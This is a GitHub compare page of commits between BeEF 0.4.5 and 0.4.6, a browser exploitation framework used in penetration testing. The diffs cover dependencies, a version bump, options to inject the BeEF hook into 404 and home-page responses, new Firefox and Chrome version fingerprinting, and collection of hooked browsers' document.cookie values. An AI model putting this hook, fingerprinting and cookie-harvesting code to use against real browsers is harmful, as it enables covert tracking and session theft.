Compare commits
151 Commits
beef-0.4.5
...
beef-0.4.6
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d3e1d5b506 | ||
|
|
5d302cd74c | ||
|
|
aaefde9b43 | ||
|
|
bcd2dd1b32 | ||
|
|
7f29e676b3 | ||
|
|
cbfe472eb7 | ||
|
|
326e9536d6 | ||
|
|
a1f0eb90c5 | ||
|
|
13593990e5 | ||
|
|
526cd42170 | ||
|
|
d737bb19c2 | ||
|
|
83e8bf5186 | ||
|
|
61af18858e | ||
|
|
ea9549adbe | ||
|
|
c9fac43b2d | ||
|
|
f891d963d7 | ||
|
|
6f56f00a18 | ||
|
|
968ed12849 | ||
|
|
06bbfe9c3b | ||
|
|
c387778959 | ||
|
|
d9012d0f15 | ||
|
|
0d3c123e26 | ||
|
|
d05397e0a9 | ||
|
|
12d64d1165 | ||
|
|
916828e131 | ||
|
|
694ec61a02 | ||
|
|
8b4ad51899 | ||
|
|
1f40987355 | ||
|
|
c9c9bfa6ee | ||
|
|
96dcba967b | ||
|
|
7b234c9b98 | ||
|
|
de13116182 | ||
|
|
5de857f710 | ||
|
|
4413cde187 | ||
|
|
a98ca1ff98 | ||
|
|
423b66f424 | ||
|
|
1aaf529fdd | ||
|
|
f24dd22b05 | ||
|
|
ba990e2869 | ||
|
|
68c1f87c42 | ||
|
|
a5c2ca8441 | ||
|
|
f51571d8b3 | ||
|
|
b7fd36aeaa | ||
|
|
83f88ad401 | ||
|
|
e31f0b8c44 | ||
|
|
16622b13a5 | ||
|
|
e7bc352db2 | ||
|
|
e17a48fae2 | ||
|
|
b646535be3 | ||
|
|
a35f42da5b | ||
|
|
e66183a3ba | ||
|
|
3bec9b2702 | ||
|
|
c729408d4b | ||
|
|
f228f256de | ||
|
|
3fa857525e | ||
|
|
11291e9577 | ||
|
|
23533746a4 | ||
|
|
8f46ed8c26 | ||
|
|
a826b89480 | ||
|
|
6bdf829126 | ||
|
|
c75b7a633d | ||
|
|
e5407af2a0 | ||
|
|
83fa1efe0d | ||
|
|
03ecd61781 | ||
|
|
518fb5d874 | ||
|
|
f66a08f072 | ||
|
|
4746829153 | ||
|
|
d0c48ce026 | ||
|
|
e21c8286c5 | ||
|
|
87476c5217 | ||
|
|
ad87ea7a56 | ||
|
|
dad3be1b91 | ||
|
|
0261c1d56f | ||
|
|
0cc9f53aae | ||
|
|
aee7aed755 | ||
|
|
152ddc5118 | ||
|
|
2220b95b49 | ||
|
|
4db4354c24 | ||
|
|
0657a3f1f9 | ||
|
|
03f6b29506 | ||
|
|
4c7aa8f677 | ||
|
|
f973b8dc3e | ||
|
|
bff02aaea5 | ||
|
|
86f99d5a51 | ||
|
|
46113db2b8 | ||
|
|
791c9d1461 | ||
|
|
32434075f8 | ||
|
|
6fcca972c8 | ||
|
|
90bfca16c6 | ||
|
|
4126a5530e | ||
|
|
1e06bb6c17 | ||
|
|
75312e4c99 | ||
|
|
3b46bf1a94 | ||
|
|
d863bb8f96 | ||
|
|
c46cd03de8 | ||
|
|
abaa6a745d | ||
|
|
b0526362ad | ||
|
|
9d7d0a1071 | ||
|
|
ff9da502cb | ||
|
|
1c7663f96d | ||
|
|
54b58c2e72 | ||
|
|
bf0f59e5d0 | ||
|
|
add6059a8c | ||
|
|
f26302c52b | ||
|
|
803e153f8c | ||
|
|
0afac0171d | ||
|
|
f5d2c2028b | ||
|
|
73e16e4aff | ||
|
|
234a6e2016 | ||
|
|
fbe56bf9f1 | ||
|
|
d569c63be3 | ||
|
|
944ba747da | ||
|
|
5fc1294ca1 | ||
|
|
c099be75ed | ||
|
|
f329c7331a | ||
|
|
c69b6412e0 | ||
|
|
c28d53aa41 | ||
|
|
23cf229dad | ||
|
|
6809ec9914 | ||
|
|
d39da9a67b | ||
|
|
7e3ee5fc50 | ||
|
|
4ff2a09552 | ||
|
|
e11ab70c61 | ||
|
|
4b8aa2d0a2 | ||
|
|
7fc65a70af | ||
|
|
fef015709b | ||
|
|
0623b8f667 | ||
|
|
1838b6c24a | ||
|
|
16ecb32e46 | ||
|
|
53a05d1901 | ||
|
|
24dab8b1c9 | ||
|
|
5b33389746 | ||
|
|
d3165c2d97 | ||
|
|
8664f694dc | ||
|
|
5d9c62967d | ||
|
|
d75adc0899 | ||
|
|
b105288a9b | ||
|
|
1318ccf019 | ||
|
|
a168274e7e | ||
|
|
df08d99cd5 | ||
|
|
1ab979553c | ||
|
|
631bc1e9ef | ||
|
|
ceab91d53a | ||
|
|
bf75e61382 | ||
|
|
c0fe6dfcfa | ||
|
|
eb2a380c92 | ||
|
|
9e28e9075d | ||
|
|
b3df91a8c5 | ||
|
|
615fd63825 | ||
|
|
8a8ea35265 | ||
|
|
a9833fd538 |
76
Gemfile
@@ -6,56 +6,60 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
gem "eventmachine", "1.0.3"
|
||||
gem "thin"
|
||||
gem "sinatra", "1.4.2"
|
||||
gem "rack", "1.5.2"
|
||||
gem "em-websocket", "~> 0.3.6" # WebSocket support
|
||||
gem "uglifier", "~> 2.2.1"
|
||||
gem 'eventmachine'
|
||||
gem 'thin'
|
||||
gem 'sinatra'
|
||||
gem 'rack'
|
||||
gem 'em-websocket', '~> 0.3.6' # WebSocket support
|
||||
gem 'uglifier', '~> 2.2.1'
|
||||
gem 'mime-types'
|
||||
|
||||
|
||||
# Windows support
|
||||
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
|
||||
if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
|
||||
# make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows
|
||||
gem "therubyracer", "~> 0.11.0beta1"
|
||||
gem "execjs"
|
||||
gem "win32console"
|
||||
elsif !RUBY_PLATFORM.downcase.include?("darwin")
|
||||
gem "therubyracer", "0.11.3"
|
||||
gem "execjs"
|
||||
gem 'therubyracer', '~> 0.11.0beta1'
|
||||
gem 'execjs'
|
||||
gem 'win32console'
|
||||
elsif !RUBY_PLATFORM.downcase.include?('darwin')
|
||||
gem 'therubyracer', '0.11.3'
|
||||
gem 'execjs'
|
||||
end
|
||||
|
||||
|
||||
gem "ansi"
|
||||
gem "term-ansicolor", :require => "term/ansicolor"
|
||||
gem "dm-core"
|
||||
gem "json"
|
||||
gem "data_objects"
|
||||
gem "dm-sqlite-adapter" # SQLite support
|
||||
gem 'ansi'
|
||||
gem 'term-ansicolor', :require => 'term/ansicolor'
|
||||
gem 'dm-core'
|
||||
gem 'json'
|
||||
gem 'data_objects'
|
||||
gem 'dm-sqlite-adapter' # SQLite support
|
||||
#gem dm-postgres-adapter # PostgreSQL support
|
||||
#gem dm-mysql-adapter # MySQL support
|
||||
gem "parseconfig"
|
||||
gem "erubis"
|
||||
gem "dm-migrations"
|
||||
gem "msfrpc-client" # Metasploit Integration extension
|
||||
#gem "twitter", ">= 5.0.0" # Twitter Notifications extension
|
||||
gem "rubyzip", ">= 1.0.0"
|
||||
gem "rubydns", "0.7.0" # DNS extension
|
||||
gem "geoip" # geolocation support
|
||||
gem 'parseconfig'
|
||||
gem 'erubis'
|
||||
gem 'dm-migrations'
|
||||
gem 'msfrpc-client' # Metasploit Integration extension
|
||||
#gem 'twitter', '>= 5.0.0' # Twitter Notifications extension
|
||||
gem 'rubyzip', '>= 1.0.0'
|
||||
gem 'rubydns', '0.7.0' # DNS extension
|
||||
gem 'geoip' # geolocation support
|
||||
gem 'dm-serializer' # network extension
|
||||
gem 'qr4r' # QRcode extension
|
||||
|
||||
# For running unit tests
|
||||
if ENV['BEEF_TEST']
|
||||
gem "test-unit"
|
||||
gem "test-unit-full"
|
||||
gem "curb"
|
||||
gem "test-unit"
|
||||
gem "selenium"
|
||||
gem "selenium-webdriver"
|
||||
gem 'test-unit'
|
||||
gem 'test-unit-full'
|
||||
gem 'curb'
|
||||
gem 'selenium'
|
||||
gem 'selenium-webdriver'
|
||||
gem 'rspec'
|
||||
# nokogirl is needed by capybara which may require one of the below commands
|
||||
# sudo apt-get install libxslt-dev libxml2-dev
|
||||
# sudo port install libxml2 libxslt
|
||||
gem "capybara"
|
||||
gem 'capybara'
|
||||
# RESTful API tests/generic command module tests
|
||||
gem "rest-client", "~> 1.6.7"
|
||||
gem 'rest-client', '~> 1.6.7'
|
||||
end
|
||||
|
||||
source "http://rubygems.org"
|
||||
source 'http://rubygems.org'
|
||||
|
||||
89
Gemfile.lock
Normal file
@@ -0,0 +1,89 @@
|
||||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
addressable (2.3.6)
|
||||
ansi (1.4.3)
|
||||
daemons (1.1.9)
|
||||
data_objects (0.10.14)
|
||||
addressable (~> 2.1)
|
||||
dm-core (1.2.1)
|
||||
addressable (~> 2.3)
|
||||
dm-do-adapter (1.2.0)
|
||||
data_objects (~> 0.10.6)
|
||||
dm-core (~> 1.2.0)
|
||||
dm-migrations (1.2.0)
|
||||
dm-core (~> 1.2.0)
|
||||
dm-sqlite-adapter (1.2.0)
|
||||
dm-do-adapter (~> 1.2.0)
|
||||
do_sqlite3 (~> 0.10.6)
|
||||
do_sqlite3 (0.10.14)
|
||||
data_objects (= 0.10.14)
|
||||
em-websocket (0.3.8)
|
||||
addressable (>= 2.1.1)
|
||||
eventmachine (>= 0.12.9)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.0.7)
|
||||
execjs (2.0.2)
|
||||
geoip (1.4.0)
|
||||
json (1.8.1)
|
||||
librex (0.0.68)
|
||||
libv8 (3.11.8.17)
|
||||
msfrpc-client (1.0.1)
|
||||
librex (>= 0.0.32)
|
||||
msgpack (>= 0.4.5)
|
||||
msgpack (0.5.8)
|
||||
multi_json (1.9.3)
|
||||
parseconfig (1.0.4)
|
||||
rack (1.5.2)
|
||||
rack-protection (1.5.3)
|
||||
rack
|
||||
rainbow (2.0.0)
|
||||
ref (1.0.5)
|
||||
rexec (1.6.3)
|
||||
rainbow
|
||||
rubydns (0.7.0)
|
||||
eventmachine (~> 1.0.0)
|
||||
rexec (~> 1.6.2)
|
||||
rubyzip (1.1.3)
|
||||
sinatra (1.4.2)
|
||||
rack (~> 1.5, >= 1.5.2)
|
||||
rack-protection (~> 1.4)
|
||||
tilt (~> 1.3, >= 1.3.4)
|
||||
term-ansicolor (1.1.5)
|
||||
therubyracer (0.11.3)
|
||||
libv8 (~> 3.11.8.12)
|
||||
ref
|
||||
thin (1.6.2)
|
||||
daemons (>= 1.0.9)
|
||||
eventmachine (>= 1.0.0)
|
||||
rack (>= 1.0.0)
|
||||
tilt (1.4.1)
|
||||
uglifier (2.2.1)
|
||||
execjs (>= 0.3.0)
|
||||
multi_json (~> 1.0, >= 1.0.2)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
ansi
|
||||
data_objects
|
||||
dm-core
|
||||
dm-migrations
|
||||
dm-sqlite-adapter
|
||||
em-websocket (~> 0.3.6)
|
||||
erubis
|
||||
eventmachine (= 1.0.3)
|
||||
execjs
|
||||
geoip
|
||||
json
|
||||
msfrpc-client
|
||||
parseconfig
|
||||
rack (= 1.5.2)
|
||||
rubydns (= 0.7.0)
|
||||
rubyzip (>= 1.0.0)
|
||||
sinatra (= 1.4.2)
|
||||
term-ansicolor
|
||||
therubyracer (= 0.11.3)
|
||||
thin
|
||||
uglifier (~> 2.2.1)
|
||||
4
README
@@ -24,7 +24,9 @@ Please, send us pull requests!
|
||||
|
||||
Web: http://beefproject.com/
|
||||
|
||||
Mail: beef-subscribe@bindshell.net
|
||||
Bugs: https://github.com/beefproject/beef
|
||||
|
||||
Security Bugs: security@beefproject.com
|
||||
|
||||
IRC: ircs://irc.freenode.net/beefproject
|
||||
|
||||
|
||||
@@ -24,7 +24,9 @@ __Please, send us pull requests!__
|
||||
|
||||
__Web:__ http://beefproject.com/
|
||||
|
||||
__Mail:__ beef-subscribe@bindshell.net
|
||||
__Bugs:__ https://github.com/beefproject/beef
|
||||
|
||||
__Security Bugs:__ security@beefproject.com
|
||||
|
||||
__IRC:__ ircs://irc.freenode.net/beefproject
|
||||
|
||||
|
||||
2
VERSION
@@ -4,4 +4,4 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
0.4.6.0-alpha
|
||||
0.4.6.1-alpha
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.4.6.0-alpha'
|
||||
version: '0.4.6.1-alpha'
|
||||
# More verbose messages (server-side)
|
||||
debug: false
|
||||
# More verbose messages (client-side)
|
||||
@@ -33,7 +33,7 @@ beef:
|
||||
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
|
||||
# when hooking lots of browsers (50+).
|
||||
# Enabling WebSockets is generally better (beef.websocket.enable)
|
||||
xhr_poll_timeout: 5000
|
||||
xhr_poll_timeout: 1000
|
||||
|
||||
# Reverse Proxy / NAT
|
||||
# If BeEF is running behind a reverse proxy or NAT
|
||||
@@ -73,6 +73,8 @@ beef:
|
||||
web_server_imitation:
|
||||
enable: true
|
||||
type: "apache" # Supported: apache, iis, nginx
|
||||
hook_404: false # inject BeEF hook in HTTP 404 responses
|
||||
hook_root: false # inject BeEF hook in the server home page
|
||||
|
||||
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
|
||||
https:
|
||||
|
||||
@@ -22,7 +22,7 @@ module Filters
|
||||
# @return [Boolean] Whether or not the only characters in str are specified in chars
|
||||
def self.only?(chars, str)
|
||||
regex = Regexp.new('[^' + chars + ']')
|
||||
regex.match(str).nil?
|
||||
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
# Check if one or more characters in 'chars' are in 'str'
|
||||
@@ -31,7 +31,7 @@ module Filters
|
||||
# @return [Boolean] Whether one of the characters exists in the string
|
||||
def self.exists?(chars, str)
|
||||
regex = Regexp.new(chars)
|
||||
not regex.match(str).nil?
|
||||
not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
# Check for null char
|
||||
@@ -142,6 +142,15 @@ module Filters
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if the given string is a valid TCP port
|
||||
# @param [String] port string for testing
|
||||
# @return [Boolean] true if the string is a valid TCP port, otherwise false
|
||||
def self.is_valid_port?(port)
|
||||
valid = false
|
||||
valid = true if port.to_i > 0 && port.to_i < 2**16
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if string is a valid domain name
|
||||
# @param [String] domain string for testing
|
||||
# @return [Boolean] If the string is a valid domain name
|
||||
|
||||
@@ -16,6 +16,7 @@ require 'base64'
|
||||
require 'xmlrpc/client'
|
||||
require 'openssl'
|
||||
require 'rubydns'
|
||||
require 'mime/types'
|
||||
|
||||
# @note Include the filters
|
||||
require 'core/filters'
|
||||
|
||||
@@ -381,12 +381,44 @@ beef.browser = {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF36
|
||||
* @example: beef.browser.isFF36()
|
||||
*/
|
||||
isFF36: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF37
|
||||
* @example: beef.browser.isFF37()
|
||||
*/
|
||||
isFF37: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF38
|
||||
* @example: beef.browser.isFF38()
|
||||
*/
|
||||
isFF38: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF39
|
||||
* @example: beef.browser.isFF39()
|
||||
*/
|
||||
isFF39: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF.
|
||||
* @example: beef.browser.isFF()
|
||||
*/
|
||||
isFF: function () {
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35();
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39();
|
||||
|
||||
},
|
||||
|
||||
@@ -886,13 +918,68 @@ beef.browser = {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 40.
|
||||
* @example: beef.browser.isC40()
|
||||
*/
|
||||
isC40: function () {
|
||||
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 40.
|
||||
* @example: beef.browser.isC40iOS()
|
||||
*/
|
||||
isC40iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 41.
|
||||
* @example: beef.browser.isC41()
|
||||
*/
|
||||
isC41: function () {
|
||||
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 41.
|
||||
* @example: beef.browser.isC41iOS()
|
||||
*/
|
||||
isC41iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 42. (adds !!window.fetch check too)
|
||||
* @example: beef.browser.isC42()
|
||||
*/
|
||||
isC42: function () {
|
||||
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 43.(adds !!window.fetch check too)
|
||||
* @example: beef.browser.isC43()
|
||||
*/
|
||||
isC43: function () {
|
||||
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 42.
|
||||
* @example: beef.browser.isC42iOS()
|
||||
*/
|
||||
isC42iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome.
|
||||
* @example: beef.browser.isC()
|
||||
*/
|
||||
isC: function () {
|
||||
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS();
|
||||
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC43() || this.isC42iOS();
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -1021,6 +1108,13 @@ beef.browser = {
|
||||
C38iOS: this.isC38iOS(), // Chrome 38 on iOS
|
||||
C39: this.isC39(), // Chrome 39
|
||||
C39iOS: this.isC39iOS(), // Chrome 39 on iOS
|
||||
C40: this.isC40(), // Chrome 40
|
||||
C40iOS: this.isC40iOS(), // Chrome 40 on iOS
|
||||
C41: this.isC41(), // Chrome 41
|
||||
C41iOS: this.isC41iOS(), // Chrome 41 on iOS
|
||||
C42: this.isC42(), // Chrome 42
|
||||
C43: this.isC43(), // Chrome 43
|
||||
C42iOS: this.isC42iOS(), // Chrome 42 on iOS
|
||||
|
||||
C: this.isC(), // Chrome any version
|
||||
|
||||
@@ -1060,6 +1154,10 @@ beef.browser = {
|
||||
FF33: this.isFF33(), // Firefox 33
|
||||
FF34: this.isFF34(), // Firefox 34
|
||||
FF35: this.isFF35(), // Firefox 35
|
||||
FF36: this.isFF36(), // Firefox 36
|
||||
FF37: this.isFF37(), // Firefox 37
|
||||
FF38: this.isFF38(), // Firefox 38
|
||||
FF39: this.isFF39(), // Firefox 39
|
||||
FF: this.isFF(), // Firefox any version
|
||||
|
||||
IE6: this.isIE6(), // Internet Explorer 6
|
||||
@@ -1318,6 +1416,34 @@ beef.browser = {
|
||||
return '39'
|
||||
}
|
||||
; // Chrome 39 for iOS
|
||||
if (this.isC40()) {
|
||||
return '40'
|
||||
}
|
||||
; // Chrome 40
|
||||
if (this.isC40iOS()) {
|
||||
return '40'
|
||||
}
|
||||
; // Chrome 40 for iOS
|
||||
if (this.isC41()) {
|
||||
return '41'
|
||||
}
|
||||
; // Chrome 41
|
||||
if (this.isC41iOS()) {
|
||||
return '41'
|
||||
}
|
||||
; // Chrome 41 for iOS
|
||||
if (this.isC42()) {
|
||||
return '42'
|
||||
}
|
||||
; // Chrome 42
|
||||
if (this.isC43()) {
|
||||
return '43'
|
||||
}
|
||||
;
|
||||
if (this.isC42iOS()) {
|
||||
return '42'
|
||||
}
|
||||
; // Chrome 42 for iOS
|
||||
|
||||
if (this.isFF2()) {
|
||||
return '2'
|
||||
@@ -1463,6 +1589,22 @@ beef.browser = {
|
||||
return '35'
|
||||
}
|
||||
; // Firefox 35
|
||||
if (this.isFF36()) {
|
||||
return '36'
|
||||
}
|
||||
; // Firefox 36
|
||||
if (this.isFF37()) {
|
||||
return '37'
|
||||
}
|
||||
; // Firefox 37
|
||||
if (this.isFF38()) {
|
||||
return '38'
|
||||
}
|
||||
; // Firefox 38
|
||||
if (this.isFF39()) {
|
||||
return '39'
|
||||
}
|
||||
; // Firefox 39
|
||||
|
||||
if (this.isIE6()) {
|
||||
return '6'
|
||||
@@ -1988,16 +2130,6 @@ beef.browser = {
|
||||
catch (e) {
|
||||
}
|
||||
}},
|
||||
'Silverlight_Plug-In': {
|
||||
'control': 'Silverlight Plug-In',
|
||||
'return': function (control) {
|
||||
try {
|
||||
version = navigator.plugins['Silverlight Plug-In']["description"];
|
||||
return 'Silverlight Plug-In Version ' + version;//+ " description "+ filename;
|
||||
}
|
||||
catch (e) {
|
||||
}
|
||||
}},
|
||||
'FoxitReader_Plugin': {
|
||||
'control': 'FoxitReader Plugin',
|
||||
'return': function (control) {
|
||||
@@ -2184,15 +2316,14 @@ beef.browser = {
|
||||
var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
|
||||
var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
|
||||
var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
|
||||
var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
|
||||
var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
|
||||
var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
|
||||
var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
|
||||
var has_foxit = (beef.browser.hasFoxit()) ? "Yes" : "No";
|
||||
try {
|
||||
var cookies = document.cookie;
|
||||
var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie")) ? "Yes" : "No";
|
||||
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie")) ? "Yes" : "No";
|
||||
var veglol = beef.browser.cookie.veganLol();
|
||||
var has_session_cookies = (beef.browser.cookie.hasSessionCookies(veglol)) ? "Yes" : "No";
|
||||
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies(veglol)) ? "Yes" : "No";
|
||||
if (cookies) details['Cookies'] = cookies;
|
||||
if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies;
|
||||
if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies;
|
||||
@@ -2231,11 +2362,9 @@ beef.browser = {
|
||||
if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
|
||||
if (has_webrtc) details['HasWebRTC'] = has_webrtc;
|
||||
if (has_activex) details['HasActiveX'] = has_activex;
|
||||
if (has_silverlight) details['HasSilverlight'] = has_silverlight;
|
||||
if (has_quicktime) details['HasQuickTime'] = has_quicktime;
|
||||
if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
|
||||
if (has_wmp) details['HasWMP'] = has_wmp;
|
||||
if (has_foxit) details['HasFoxit'] = has_foxit;
|
||||
|
||||
var pf_integration = "<%= @phishing_frenzy_enable %>";
|
||||
if (pf_integration) {
|
||||
|
||||
@@ -71,12 +71,36 @@ beef.browser.cookie = {
|
||||
( ( domain ) ? ";domain=" + domain : "" ) +
|
||||
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
|
||||
},
|
||||
|
||||
veganLol: function (){
|
||||
var to_hell= '';
|
||||
var min = 17;
|
||||
var max = 25;
|
||||
var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
|
||||
var grunt = function(){
|
||||
var moo = Math.floor(Math.random() * 62);
|
||||
var char = '';
|
||||
if(moo < 36){
|
||||
